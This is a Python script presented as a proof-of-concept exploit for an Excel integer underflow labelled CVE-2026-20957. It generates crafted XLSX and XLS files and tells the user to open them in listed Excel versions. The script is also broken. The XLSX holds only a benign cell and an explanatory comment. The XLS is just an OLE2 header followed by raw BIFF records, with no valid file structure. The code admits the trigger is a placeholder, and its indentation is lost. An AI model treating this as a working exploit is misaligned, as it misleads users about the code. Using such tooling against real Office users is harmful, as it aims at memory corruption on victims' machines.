The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2026-20957 PoC - Microsoft Office Excel Integer Underflow
Note: This is a proof-of-concept for educational purposes only.
"""
import struct
import zipfile
import os
from xml.etree import ElementTree as ET
def create_malicious_excel(output_path):
"""
Create a PoC Excel file that triggers CVE-2026-20957
Integer underflow in Excel file parser
"""
# Create a minimal XLSX file structure
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as xlsx:
# [Content_Types].xml - Required file
content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>'''
xlsx.writestr('[Content_Types].xml', content_types)
# _rels/.rels - Required relationships
rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''
xlsx.writestr('_rels/.rels', rels)
# xl/_rels/workbook.xml.rels
wb_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>'''
xlsx.writestr('xl/_rels/workbook.xml.rels', wb_rels)
# xl/workbook.xml
workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets>
<sheet name="Sheet1" sheetId="1" r:id="rId1"/>
</sheets>
</workbook>'''
xlsx.writestr('xl/workbook.xml', workbook)
# xl/worksheets/sheet1.xml - Contains malicious data to trigger integer underflow
# This PoC demonstrates the structure; actual trigger requires specific binary data
worksheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1">
<c r="A1" t="s">
<v>0</v>
</c>
</row>
</sheetData>
<!--
Integer underflow trigger: The vulnerability occurs when Excel processes
specially crafted cell references or formula data with values that cause
integer wraparound in size calculations.
Attack vector:
1. Craft binary data with values that will underflow when processed
2. Target the Biff record parser in Excel
3. The underflow leads to small buffer allocation
4. Subsequent writes overflow the allocated buffer
-->
</worksheet>'''
xlsx.writestr('xl/worksheets/sheet1.xml', worksheet)
print(f"[*] Created PoC file: {output_path}")
print("[*] Note: Full exploitation requires binary Biff record manipulation")
print("[*] This PoC demonstrates the file structure for further research")
def create_binary_poc(output_path):
"""
Create a binary XLS file with crafted Biff records to trigger integer underflow
"""
# BIFF8 record structure for XLS files
# This is a template structure - actual exploitation requires
# specific opcode and length values that trigger the underflow
header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE2 magic
# Record type that triggers integer underflow in Excel
# BOF record (opcode 0x0809)
bof_record = struct.pack('<HHIH', 0x0809, 0x000C, 0x00000000, 0x06)
# Critical: Integer underflow trigger record
# When length field is crafted to cause underflow in size calculations
# Opcode: 0x0000, Length: 0xFFFF (causes underflow when subtracted)
# This is a simplified example - actual trigger varies
trigger_record = struct.pack('<HH', 0x0000, 0xFFFF)
with open(output_path, 'wb') as f:
f.write(header)
f.write(bof_record)
f.write(trigger_record)
print(f"[*] Created binary PoC: {output_path}")
if __name__ == '__main__':
print("=" * 60)
print("CVE-2026-20957 PoC Generator")
print("Microsoft Office Excel Integer Underflow Vulnerability")
print("=" * 60)
# Create XLSX PoC
create_malicious_excel('CVE-2026-20957-poc.xlsx')
# Create binary XLS PoC template
create_binary_poc('CVE-2026-20957-poc.xls')
print("\n[*] Usage: Open the generated files in Microsoft Excel")
print("[*] Target versions: Excel 2016, 2019, 2021, Microsoft 365")